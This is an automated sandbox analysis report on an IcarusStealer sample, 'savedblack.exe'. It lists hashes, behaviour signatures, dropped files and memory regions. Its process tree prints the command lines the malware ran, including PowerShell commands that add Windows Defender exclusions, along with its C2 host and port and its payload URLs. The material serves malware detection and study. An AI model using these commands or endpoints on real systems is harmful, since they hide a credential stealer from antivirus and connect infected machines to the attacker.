Overview

overview

10

Static

static

3

savedblack.exe

windows10-1703-x64

10

savedblack.exe

windows10-2004-x64

10

savedblack.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    03-07-2024 02:28

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    savedblack.exe

  • Size

    494KB

  • MD5

    2089eac1493e5034f266fb8a5a3a2d91

  • SHA1

    35e5341c15062df6c7d4fcfad0ce7ff4cb606629

  • SHA256

    1a18bb8dd805fba37b7afa53ece89b4ceab58f7c75b462d1de9c2ddcea056c67

  • SHA512

    025d238696aabd645fb2ec6c7456ffc18dff7bb59893579ea445c8f10b0c67d56980ee8f0354d399ece2f94ae05b5c72ccbe77e5241fcd559eb1639e4d0cc09e

  • SSDEEP

    12288:Oe+CrtuLut6N6LqQzJqkKAulc84bYBbuB1t4cWWzDKuVAccIpGNJ+Q1:j9Z6N6LqQzJqk2

Score
10/10
icarusstealerexecutionpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 2 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 25 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\savedblack.exe
    "C:\Users\Admin\AppData\Local\Temp\savedblack.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b0lha3xg\b0lha3xg.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:216
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8107.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEA5B6C87225045D580956D9148B96767.TMP"
        3⤵
          PID:2884
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Drops file in Windows directory
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4772
        • C:\Windows\system32\ctfmon.exe
          ctfmon.exe
          3⤵
            PID:4016
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client notes-ease.gl.at.ply.gg 22444 PUGlcQLxe
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3488
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2364
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3192
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3048
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4796
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5xtmcih3\5xtmcih3.cmdline"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4244
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES76E1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBBEC61660FC46949422A1D77D736726.TMP"
              4⤵
                PID:1232
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /k start /b C:\Users\Admin\AppData\Local\Temp\SMSHoists.exe & exit
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2344
              • C:\Users\Admin\AppData\Local\Temp\SMSHoists.exe
                C:\Users\Admin\AppData\Local\Temp\SMSHoists.exe
                4⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:4900
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /c taskkill /F /IM SMSHoists.exe
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4820
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM SMSHoists.exe
                4⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3016
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1uwmlnok\1uwmlnok.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3356
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7F3D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC342901EE66C14A74B01631B232E836F7.TMP"
                4⤵
                  PID:2112
              • C:\Windows\notepad.exe
                C:\Windows\notepad.exe
                3⤵
                  PID:4068
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /k start /b C:\Users\Admin\AppData\Local\Temp\Start.exe & exit
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3556
                • C:\Users\Admin\AppData\Local\Temp\Start.exe
                  C:\Users\Admin\AppData\Local\Temp\Start.exe
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1604
            • C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
              1⤵
              • Drops file in Windows directory
              • Enumerates system info in registry
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:4904
            • C:\Windows\system32\taskmgr.exe
              "C:\Windows\system32\taskmgr.exe" /7
              1⤵
              • Drops file in Windows directory
              • Checks SCSI registry key(s)
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:2520

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              1c19c16e21c97ed42d5beabc93391fc5

              SHA1

              8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

              SHA256

              1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

              SHA512

              7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              15KB

              MD5

              48cad54b18ef38482e08cc3863992da4

              SHA1

              109fbc3c9a1bf48e6492214ee2997b1c570711bc

              SHA256

              6d87b62807c50e472e0f00006cd4d626a3267549b8146ad2574fc2ba04d6d605

              SHA512

              4db44d15ce7d911379e746bfa7a4006477f41e299783ccbd17a9733cdb66e793d69c77edaff2bfa3a8357234794d7c3c29c0222a330258de3c1ed895da6985a6

              Download Submit

            • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\GO5H5QJ1\microsoft.windows[1].xml
              Filesize

              712B

              MD5

              f0db127842e5610a1b98e836171b71d1

              SHA1

              25c6f73574d35e45907123726aa7e3e41feb31a7

              SHA256

              0a0abe6ec19085e975e943df365f3b244412809b30aeb604031c350d3d24528d

              SHA512

              0301a5171b0cf30844cd6f5b8eef412ec565e795b18c2ce4a44298a719c0f1c325a52c5e21dd1b5548de0d111f641ca4c58352b1df5f9a9dca2f2f40a00f587f

              Download Submit

            • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt
              Filesize

              334KB

              MD5

              970211af3cccda80e4db355181c57e69

              SHA1

              9d1db00434ba88ac9fa8707118b8a0a472bd7b38

              SHA256

              023c2f99f1c15f6973bac13db1dbd7b871bc8ebcdcc9946ac0cdf8c852f25db5

              SHA512

              3efc780d3f3102920e09b4d838aa5c6ac8c95665d881982fb5c6055ce0c7ebd83c160aee15961c1403000e2a79eed76e2b83cf3507a92401aa003750f0a0a92b

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\RES76E1.tmp
              Filesize

              1KB

              MD5

              0da8e6666c94d31685e13cdd70ec82dc

              SHA1

              0b6ec1ceb5ea478d8d45fd014d7038faa79e77a6

              SHA256

              c88c2912c829a5b5535c146652081db8333aa161b52156dd43d38723773b4a34

              SHA512

              1375bbbce0629d665e64c79bdda47d60a0dad2ca38443c9a69475de13e1e22471a32f022ed537a1554e7877eb83d068b3112fc1c23495566dbcb42e51c734957

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\RES7F3D.tmp
              Filesize

              1KB

              MD5

              0e244ce75a16eca51302ee81d5fceb1f

              SHA1

              47550654bb727f36a58b43561062bc79369671dd

              SHA256

              87dea27ec0ee37c773280aacd1840175c519b1f99ef1f218267f4ee2e46e5ab7

              SHA512

              686a7f015d2bb37d27205e07a2b3fb98c05c04f5eca1e05e69e42c1d1657f8e6647ca8e78a448de4b8ee95744ff52960d25ddc1130e423f96e92655e51affd55

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\RES8107.tmp
              Filesize

              1KB

              MD5

              dce4e182afd18aacedb551833dea8f2b

              SHA1

              c36b4bbaafb37242b76d42d66ae2ab35556d536b

              SHA256

              c79f2dc1593851dfc31ab4652acdf4acae7c1518e4dc5c2017b7e3984f356db9

              SHA512

              44095af5274903942ee5c30e07825c773aec4112b1b6ec3e9e778573d77e2560b7799857466a4eb0aca8d1202c571dd1d45c740d8af9fb6de18b6295e0e2ad8d

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\SMSHoists.exe
              Filesize

              4KB

              MD5

              c5fc01c331cfef45b3cd88f1ba9e1a68

              SHA1

              32946fe250170a54430b3789d389324dfbae3e01

              SHA256

              af184f25d69656be3d8b4b26cf54e4e9228a8386b37d6f6e86e7f0c4067c4b42

              SHA512

              2cae0a76293edad791a15b7031c75dcd97a7886a5d6841b935b0ff02b79955bbcbb0cc6170a75687ef96cad8fdf4eee899bb5d88cf036fe4b73631769ab495b0

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\Start.exe
              Filesize

              4KB

              MD5

              4458a96559a0afbc29cafe645169fb22

              SHA1

              607f527545bbd1532024e31395cd17fc2dea4415

              SHA256

              59196d090c0e82fb685e291c7f0c122e3bbff3f22d674d0534ac0dbabbfec2dd

              SHA512

              a99f811f50a68314b0f852362d5dbdf3acb4fa8777425c0612608f4dab9f9bf48634d9adc9ac6f5ca47a85f02394c0cf197d8016ed6c52d9fc5ea378310a6c3b

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bnamijva.quf.ps1
              Filesize

              1B

              MD5

              c4ca4238a0b923820dcc509a6f75849b

              SHA1

              356a192b7913b04c54574d18c28d46e6395428ab

              SHA256

              6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

              SHA512

              4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\1uwmlnok\1uwmlnok.cmdline
              Filesize

              451B

              MD5

              66566d8d022d467ae2f7f701f1ece8a4

              SHA1

              3449347d87630b9af5852ea4fff918d54ac30923

              SHA256

              b185bc7eaa5f466f8783e035b5966166f27f92f2593a41a4edac649ed87c4247

              SHA512

              720eb3fb7f09b6ad2c5345c779efaf60bbf03dfccd7ed8a630a113162989fdfc09abc302a2055bf8131f503fcaa7f8fc721b8828123a4580d75a66a984aa21c1

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\5xtmcih3\5xtmcih3.0.cs
              Filesize

              1KB

              MD5

              99e19d86ac0d1a7c824b4f95eb85a09c

              SHA1

              f942d4b0e891b6c7e37f76a98c8f06f0e87b0dbb

              SHA256

              d0b7f831c8935682f52aebbcfa631d97715b83e1267cb2b7bf71533942945863

              SHA512

              698bdd2a512f498fff28a6a55561919f2cb13847e757408b87aa53f8efaccb13d1bf171e2192298f487217b71a9312af377276f33ddd92ee9952924eadcbc049

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\5xtmcih3\5xtmcih3.cmdline
              Filesize

              451B

              MD5

              cf6405a5d9fceee728b3822c0c56712c

              SHA1

              c16a52f2c9366e8ecf72dd7902b12ea66b1aa448

              SHA256

              1ec656bd8840e2eb352111fef94416936461a37e02079c7e289abdff16e82f24

              SHA512

              3a1dc754e334eed6cc142310a212e53c8d5fbe0bfe4b7da38e5b9e33718fedac63d3021f2d41c98e93a554227169540541bee22824459af318b202568aa7bdd3

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\CSCBBEC61660FC46949422A1D77D736726.TMP
              Filesize

              1KB

              MD5

              be7ee5c1b32c4c11ab8d5855c0a674a2

              SHA1

              4b1459595dd3e98efc33d5b17d0d57ab07e181bc

              SHA256

              6b3182ccdb0009b1f400d59a30915bf72319b0969a6717460af9cd1d940f5bef

              SHA512

              61be4353f0ef7c67513e0c93a22de404f897ee83a519e2d9c352cb3d4ba584d236bf99476b64238d15f1bbdef22c333cb0f8e75255d6cc8756739c928ecf131e

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\CSCEA5B6C87225045D580956D9148B96767.TMP
              Filesize

              1KB

              MD5

              810535a8ae563d6aa53635a1bb1206ff

              SHA1

              f5ba39f1a455eb61efe5022b524892249ee75dce

              SHA256

              7f2c2a29a5f1c0d994fa4c2fccc11a8f3f5f5d4d97ada18aea94971664c8992f

              SHA512

              5662b39b29d33bff2e8de4cf3878a6e58b7a163cc93311f4c82f03e73b239a76bb9064ed0c4a6d01cceb858663462345cae78999cfa3668ef975cf85dfff138d

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\b0lha3xg\b0lha3xg.0.cs
              Filesize

              1KB

              MD5

              14846c9faaef9299a1bf17730f20e4e6

              SHA1

              8083da995cfaa0e8e469780e32fcff1747850eb6

              SHA256

              61bc7b23a430d724b310e374a67a60dd1e1f883c6dd3a98417c8579ba4973c1b

              SHA512

              549d99dbb7376d9d6106ad0219d6cf22eb70c80d54c9ad8c7d0b04a33d956515e55c9608ab6eec0733f2c23602867eb85b43e58200ded129958c7de7ed22efb1

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\b0lha3xg\b0lha3xg.cmdline
              Filesize

              447B

              MD5

              1bab95d9e322f3e91c3f423f97810c90

              SHA1

              85001c3e23be288a7a0dc3fea71653929b87eb26

              SHA256

              2923acde17063cd40b09f9046277db7ac53b08f82c4b45c5d3abbe303d5a676e

              SHA512

              6619c43c584c28c70266337c742cf27c6a8c31782696f7066023453df46d28de997a6be6230e1afb595ab0308964f9c93d5754a34b45428d981654bb5f6e0ce2

              Download Submit

            • memory/1604-28-0x0000000000950000-0x0000000000958000-memory.dmp

              Filesize

              32KB

              Download

            • memory/3192-45-0x0000000008940000-0x00000000089B6000-memory.dmp

              Filesize

              472KB

              Download

            • memory/3192-485-0x0000000009C50000-0x0000000009C58000-memory.dmp

              Filesize

              32KB

              Download

            • memory/3192-44-0x0000000008640000-0x000000000868B000-memory.dmp

              Filesize

              300KB

              Download

            • memory/3192-41-0x00000000085D0000-0x00000000085EC000-memory.dmp

              Filesize

              112KB

              Download

            • memory/3192-31-0x0000000007110000-0x0000000007146000-memory.dmp

              Filesize

              216KB

              Download

            • memory/3192-38-0x0000000008180000-0x00000000084D0000-memory.dmp

              Filesize

              3.3MB

              Download

            • memory/3192-79-0x00000000701C0000-0x000000007020B000-memory.dmp

              Filesize

              300KB

              Download

            • memory/3192-78-0x00000000099C0000-0x00000000099F3000-memory.dmp

              Filesize

              204KB

              Download

            • memory/3192-81-0x0000000009980000-0x000000000999E000-memory.dmp

              Filesize

              120KB

              Download

            • memory/3192-35-0x0000000007620000-0x0000000007642000-memory.dmp

              Filesize

              136KB

              Download

            • memory/3192-90-0x0000000009AF0000-0x0000000009B95000-memory.dmp

              Filesize

              660KB

              Download

            • memory/3192-37-0x0000000007730000-0x0000000007796000-memory.dmp

              Filesize

              408KB

              Download

            • memory/3192-476-0x0000000009C60000-0x0000000009C7A000-memory.dmp

              Filesize

              104KB

              Download

            • memory/3192-36-0x00000000076C0000-0x0000000007726000-memory.dmp

              Filesize

              408KB

              Download

            • memory/3488-18-0x0000000000400000-0x0000000000424000-memory.dmp

              Filesize

              144KB

              Download

            • memory/4400-1-0x0000000000860000-0x00000000008E2000-memory.dmp

              Filesize

              520KB

              Download

            • memory/4400-3-0x0000000005240000-0x00000000052D2000-memory.dmp

              Filesize

              584KB

              Download

            • memory/4400-40-0x0000000073E50000-0x000000007453E000-memory.dmp

              Filesize

              6.9MB

              Download

            • memory/4400-2-0x00000000051A0000-0x000000000523C000-memory.dmp

              Filesize

              624KB

              Download

            • memory/4400-0-0x0000000073E5E000-0x0000000073E5F000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4400-5-0x0000000073E50000-0x000000007453E000-memory.dmp

              Filesize

              6.9MB

              Download

            • memory/4400-4-0x0000000006BE0000-0x00000000070DE000-memory.dmp

              Filesize

              5.0MB

              Download

            • memory/4772-542-0x0000000002A30000-0x0000000002A31000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4796-80-0x00000000701C0000-0x000000007020B000-memory.dmp

              Filesize

              300KB

              Download

            • memory/4796-34-0x0000000006E80000-0x00000000074A8000-memory.dmp

              Filesize

              6.2MB

              Download

            • memory/4796-91-0x0000000008FC0000-0x0000000009054000-memory.dmp

              Filesize

              592KB

              Download

            • memory/4900-640-0x0000000000A00000-0x0000000000A08000-memory.dmp

              Filesize

              32KB

              Download

            • memory/4904-792-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-809-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-680-0x000001E195F60000-0x000001E195F80000-memory.dmp

              Filesize

              128KB

              Download

            • memory/4904-728-0x000001E198600000-0x000001E198700000-memory.dmp

              Filesize

              1024KB

              Download

            • memory/4904-774-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-790-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-789-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-787-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-786-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-788-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-551-0x000001E184F40000-0x000001E184F60000-memory.dmp

              Filesize

              128KB

              Download

            • memory/4904-793-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-796-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-795-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-794-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-800-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-799-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-798-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-797-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-801-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-547-0x000001E184800000-0x000001E184900000-memory.dmp

              Filesize

              1024KB

              Download

            • memory/4904-807-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-810-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-572-0x000001E1850C0000-0x000001E1850E0000-memory.dmp

              Filesize

              128KB

              Download

            • memory/4904-808-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-817-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-816-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-815-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-814-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-813-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-812-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-811-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-841-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-852-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-861-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-866-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-865-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-864-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-863-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-862-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-857-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-856-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-855-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-854-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-853-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-860-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-859-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download

            • memory/4904-858-0x000001E184520000-0x000001E184530000-memory.dmp

              Filesize

              64KB

              Download